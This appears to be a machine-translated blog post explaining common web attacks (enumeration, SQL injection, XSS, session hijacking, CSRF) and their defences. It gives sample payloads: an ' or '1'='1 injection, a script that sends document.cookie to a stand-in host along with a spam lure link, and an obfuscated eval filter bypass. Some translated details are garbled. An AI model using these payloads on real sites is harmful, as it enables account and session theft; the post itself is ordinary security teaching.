WEB Security (frontend)

WEB Security (frontend)

I believe you have seen the alert pop-up window showing your cookie information. Simply popping up information on your client is similar to forcing you to undress in your room-no one can see it, and naturally it is not malicious. So what if I send your information to my server through a script to save it? Don't worry, I don't want to do this, and I don't have the spare money to purchase a server to do shame, and I don't want the blog Park to block my website.

As the title says, today we are talking about the WEB security mechanism, but the word "front-end" is more narrow, most of the security issues are still dependent on backend filtering and interception measures. If you are interested in backend users, you can take a look.

 

Let's talk about the situation of "sending information to the server through scripts". Let's talk about the basic WEB attacks.

Basic WEB attacks can be divided into three categories: "resource enumeration", "parameter control", and "other attacks ".

Resource Enumeration

Sometimes, due to the influence of our predecessors (Technical predecessors or the last employee you took over), we may agree to do something in a vulgar manner, for example, using the camel naming method to name the function name and using the JSDoc method to write comments will make your team work more standardized. Then one day I had to back up the project and directly compress the project into a rarfile. Why is the name? The first choice is "mongobak.rar". You can see that the database backup format is different from that of. bak.

Therefore, if the address of the compressed package is accessible, everyone can easily download it to the "bak.rar" file, there is no secret in your project (even in summer and summer ).

If you are lucky enough to enumerate them, you can download them directly.

So it is not a good thing to follow the mainstream here. For important things, either put them in inaccessible places, or give them a name that is not so good as a guess.

Resource enumeration is not limited to looking for things, but smart people will use clues to better guess things.

Suppose there is a site that adopts a pseudo-static high-cold route and does not want others to know the language and database it uses, but there is no prompt to configure the backend error information. A friend with ulterior motives can tamper with url parameters on a search result page of the site, leading to database query errors and returning the database error information page, you can also enter a non-existent subpage address to obtain the error information and determine the database or dynamic language used by the website.

 

Parameter Control

This includes SQL injection, XPath injection, cgi Command Execution, XXS, and session hijacking. The first three attacks are mainly triggered on the server, while the latter two attacks focus on the client.

I don't want to talk about SQL Injection in detail. I believe many of my friends have heard that it is easy to submit information containing SQL statements to the backend. If the backend does not filter well, execute this statement, attackers can naturally manipulate the database of the site at will.

For example, if you have a library website book.com and click on the details page of a book, The url is as follows:

Book.com/book? Id = 100

The key value of this book in the database is 100. After the backend receives the url parameter, it executes the database query operation:

Select * from booktable where id = '20140901'

If we change the url

Book.com/book? Id = 100 'or '1' = '1

Then the execution of database operations becomes:

Select * from booktable where id = '20180101' or '1' = '1'

This extracts all the data of the entire booktable form.

XPath injection is similar to SQL injection, but the xml format of the database here, the attack method naturally needs to follow the xml search syntax. For details, see here.

Cgi Command Execution means that when a user remotely accesses the cgi script, the server can obtain information or even manipulate the server by submitting malicious parameters so that the server can execute related cgi commands. If you are interested, you can check it out.

For these attacks, we need to filter the submitted parameters. It is best to filter the parameters at the front end and back end. (backend filtering and interception are the most important, after all, you can bypass front-end filtering by disabling the script configuration in the browser ).

 

XSS (cross-site scripting cross-origin scripting) attacks are also one of the most common WEB attacks, with the focus on "cross-origin" and "client execution ". We can ridicule the library website book.com.

Suppose there is a place to search for books in the upper-right corner of the page. You can enter a book that you don't have at all, for example, the "rich and willful Guide", and then click the "Search" button. At this time, the page (book.com/search? Name = rich, willful guide) will return a piece of information:

The book you searched for "rich and willful Guide" does not exist

Okay. How can we enter this:

<Script> alert ('no book opens a wool bookstore? ') </script>

Assume that the library site does not filter the data and displays the data entered by the user intact, the returned page will naturally return this script to execute it.

 

However, this is not fun. in order to launch an attack, we need to obtain user data. To obtain the data, we naturally need to send the information back to our server (assuming that the address for receiving the information is http: // vajoy/get), then we can write as follows:

<Script> document. location = 'HTTP: // vajoy/get? Cookie = '+ document. cookie </script>

However, this is not fun. We always receive our own data. We need to collect cookie information from others!

You may wish to ask others to click this address through the QQ group or through mass spam:

Book.com/search? Name = <script> document. location = 'HTTP: // vajoy/get? Cookie = '+ document. cookie </script>

This is one of the XSS attacks, called "Reflected XSS"-reflection-based XSS attacks mainly rely on the Site Server to return scripts and trigger execution on the client to initiate WEB attacks.

Similar to DOM-based or local XSS, which is based on DOM or local XSS attacks. Take my current project as an example-provide free wifi for users, but the gateway that provides free wifi will insert a script to any page you visit, this leads to the placement of floating advertisements (you can close it). This seems to be okay, but if the inserted script is a malicious script that gets your sensitive data, it will be different. This directly exists on pages, and cross-origin user information is directly sent without being processed by a script returned by the server. This is based on local XSS attacks.

The last type is Stored XSS attacks. It posts Posts or articles with malicious cross-origin scripts through posts, blog parks, and other places, so as to store malicious scripts in it, each person accessing this post/Article will be recruited.

Remember the alert pop-up window for loading this article? What should we do if the blog Park filters out all sensitive characters such as "alert" and "eval? We can do this:

<Script type = "text/javascript"> var x = 'eva '+ String. fromCharCode (108), y = window, e = 'A' + String. fromCharCode (108) + 'ert ("welcome to this Article") '; y [x] ['call'] (this, e); </script>

The pop-up window we want is still correct.

The prevention of XSS is also the filtering of submitted data. Another point is to carefully return the content submitted by the user!

 

Session hijacking

Baidu encyclopedia has a very interesting quote-"in real life, for example, if you go to the market to buy food, you need to do something else after paying for the food, and then come to get the food later; if a stranger asks to take the food at this time, will the seller give the food to the stranger?"

This metaphor is very interesting. When we access an http website, we establish an HTTP session with the server. Assume that all the "friends" in your dormitory are on the same Internet as you, and some of them want to pretend to be you to hijack your HTTP session, then the server will take the food, oh no, is the information returned to that person?

The answer is yes, because HTTP sessions are not secure. It inserts a 32-bit serial number in each byte of the transmitted data when data is transmitted through TCP/IP encapsulation, this serial number is used to maintain the tracking data and provide reliability (the serial number is progressively increasing according to the Data Order ). A third-party attacker can obtain the message information in the communication between the user and the server through sniffing. If he can guess the serial number in the data, he can disconnect the legal user, disguise as a legitimate user to allow himself to control subsequent calls.

To prevent session hijacking, you can use the SSH protocol to enhance the robustness of the network security system, or use unordered UUID to replace serial numbers (rather than increasing gradually) in communication ).

 

Other Attacks

Other attacks include CSRF attacks, phishing attacks, and denial-of-service attacks.

CSRF (cross-site request forgery), translated as cross-site request forgery, is very similar to XSS, but XSS uses users' trust in the current website to initiate attacks, CSRF uses the website's trust in users to launch attacks.

For example, if the security mechanism of the Library site is lax-as long as the user does not close the browser after logging on to the website, in any situation, you can purchase books or borrow books as an authenticated user (you do not need to log on again or enter the payment password or something. After all, you have logged on to the account for verification once ).

So how can we send an email to a user? There is a link to the execution page of the book subscription... Oh no, you have to click it. We want the user to buy the book right away when they see it. We can do this-insert an image in the email:

The img, script, and iframe tags are not restricted by the same-origin policy. Assume that the email address you are using is displayed to the user in real time, and the user just logged on to book.com without closing the browser, then the connection in src will immediately access the book.com/paypage, and proceed with the purchase operations based on the situation that has passed the ID verification.

I believe that now you will be very clear about why the current mailbox will not directly display the images in the email-it is for your security considerations.

For CSRF attacks, we can do the following:

1. Check the Referer parameter in the header to ensure that the request is sent from the correct website (however, the XHR request can call the setRequestHeader method to modify the Referer header );

2. re-verify the user's identity for any important requests;

3. Create a unique Token and store it in the session of the server and the cookie of the client. Check whether the two are consistent with each other for any request.

 

Phishing Attacks refer to website forgery, such as ta0bao.com, and then XSS attacks.

Denial of Service (DoS) refers to a Traffic Floor that initiates a Flood Request to a website, resulting in overload and shutdown of the server. The conventional approach is to use QoS (Quality of Service) software and Hardware solutions.

 

Attack Layer

Attack level refers to the places where malicious people may make troubles. There are three common attack levels:

1. Traditional WEB Applications

1. form input (including the contents of the hidden control );

2. cookie (SQL injection attacks can also be achieved by modifying the cookie content );

3. header (sometimes to facilitate statistics on source data, the server will store the Referer and User-Agent Information sent from the client to the database, so modifying the header information can also serve the purpose of SQL Injection tools)

4. Request Parameters

5. upload a file (containing malicious code in the file)

Ii. Web Services

1. All of the above "traditional WEB Services" methods;

2. WSDL document (exposes each method on the server and its usage)

3. AJAX applications

That is, the collection of "1" and "2"

 

Solution

To sum up, we can look at our WEB site as follows:

1. Never trust any information sent from the client. encode or filter the information first;

2. Return user input with caution;

3. Use the blacklist and whitelist for processing (that is, "What sensitive information is not allowed" or "what information is allowed only". The whitelist has better results but has high limitations );

4. check and verify the request source, and re-verify each important operation;

5. Use SSL to prevent third-party listening communication (but cannot prevent XSS, CSRF, and SQL injection attacks );

6. Do not store important files or backup files in accessible places;

7. The session ID is disordered;

8. verify the File Uploaded by the user (not just the format verification, for example, a GIF image should also be converted into a binary image and its color value per frame should be verified <8-bit without symbol> and the high value of width <16-bit without symbol> );

9. The WSDL document should be required to be obtained after registration;

10 .........

Although we have some necessary measures to prevent WEB attacks, there will never be a silver bullet to completely solve the problem. Let alone the countless known and vulnerable vulnerabilities, for zero-day vulnerabilities with the same mysteries, all we can do is to discover and fix them in advance.